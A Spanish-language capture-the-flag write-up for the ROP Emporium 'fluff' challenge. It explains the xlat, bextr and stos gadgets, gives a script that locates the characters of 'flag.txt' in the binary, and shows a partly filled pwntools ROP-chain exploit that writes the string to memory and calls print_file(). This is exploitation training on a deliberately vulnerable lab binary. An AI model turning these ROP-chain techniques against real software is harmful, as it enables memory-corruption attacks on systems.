Solución Ropemporium fluff
Introducción
El Desafío Ropemporium fluff presenta similitudes con el desafío write4. La tarea consiste en identificar gadgets para escribir en registros. El enunciado advierte sobre la disponibilidad limitada de gadgets en este binario y sugiere explorar questionableGadgets. Además, se nos encomienda realizar una llamada a la función print_file().
Exploración de Gadgets en questionableGadgets
Para comprender mejor las herramientas disponibles en questionableGadgets, hemos utilizado pwndbg para analizar la función.
- Gadget 1:
xlat BYTE PTR ds:[rbx]
- Descripción: Realiza una traducción de byte utilizando el contenido de
rbx
. - Utilidad: Ideal para manipular y transformar datos almacenados en el registro
rbx
.
- Descripción: Realiza una traducción de byte utilizando el contenido de
- Gadget 2:
pop rdx; pop rcx; add rcx,0x3ef2
- Descripción: Desapila valores en
rdx
yrcx
, luego suma0x3ef2
arcx
. - Utilidad: Ofrece control sobre los registros
rdx
yrcx
, permitiendo manipulación eficiente de datos.
- Descripción: Desapila valores en
- Gadget 3:
bextr rbx,rcx,rdx
- Descripción: Realiza una extracción de bits desde
rcx
hastardx
y almacena el resultado enrbx
. - Utilidad: Útil para operaciones avanzadas de manipulación de bits.
- Descripción: Realiza una extracción de bits desde
- Gadget 4:
stos BYTE PTR es:[rdi],al
- Descripción: Almacena el contenido del registro
al
en la dirección apuntada porrdi
en la segmentación de datos. - Utilidad: Simplifica la escritura eficiente de datos en memoria.
- Descripción: Almacena el contenido del registro
Esta exploración detallada proporciona una base sólida para construir nuestra cadena ROP de manera estratégica, utilizando estos gadgets de manera coordinada para lograr con éxito nuestro objetivo de invocar la función print_file()
.
Enfoque de explotación
Con un offset de 40 bytes una vez controlamos RIP, utilizaremos los siguientes gadgets: bextr_rbx_rcx_rdx
para extraer bits y xlatb
.
Determinación de Dirección de Datos:
Identificar la dirección de datos donde se almacenarán los datos, en este caso, la cadena “flag.txt”.
Localización de Caracteres en la Memoria:
Buscar la dirección de cada carácter individual en la cadena “flag.txt” en el binario utilizando la función read y almacenarlo en un array.
El siguiente script realiza esta tarea:
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
binary_content = open('fluff', 'rb').read()
binary_offset = 0x400000
string_to_write = b"flag.txt"
char_locations = []
for char in string_to_write:
char_addr = hex(binary_content.find(char) + binary_offset)
char_locations.append(char_addr)
print(f"{chr(char)} encontrado en {char_addr}")
Gadgets
Necesitamos pop_rdi y también necesitaremos saber la dirección de rax, así como pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
, stosb byte ptr [rdi], al; ret;
y print_file
Esqueleto del exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import process, p64, log
shell = process("./fluff")
offset = 40
junk = b"A" * offset
strings = []
flag = "flag.txt"
print_file = p64()
data =
pop_rdi = p64()
stosb = p64()
xlatb = p64()
pop_rdx = p64()
rax =
payload = b""
payload += junk
for i in range(len(flag)):
payload += pop_rdx + p64(0x2000) + p64(strings[i] - 0x3ef2 - rax)
payload += xlatb
payload += pop_rdi + p64(data + i)
payload += stosb
rax = ord(flag[i])
payload += pop_rdi
payload += p64(data)
payload += print_file
shell.sendlineafter(b"> ", payload)
flag = shell.recvline_contains(b"ROPE").decode()
log.info(f"Flag: {flag}")
Empezamos con el script anteriror para saber los strings que seran los siguientes:
1
2
3
4
5
6
7
8
f encontrado en 0x4003c4
l encontrado en 0x400239
a encontrado en 0x4003d6
g encontrado en 0x4003cf
. encontrado en 0x40024e
t encontrado en 0x400192
x encontrado en 0x400246
t encontrado en 0x400192
Luego los gadgets que los sacamos de questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al
0x000000000040062a <+2>: pop rdx
Ahora nos falta la dirección de print_file, la cual podemos obtener utilizando Radare2. La dirección es la siguiente: 0x00400510
. También nos queda rax, que podemos ver usando Pwndbg con un breakpoint, que sería así: 0xb
. No hago mucho énfasis en esta parte, ya que hemos estado trabajando en estos conceptos en desafíos anteriores.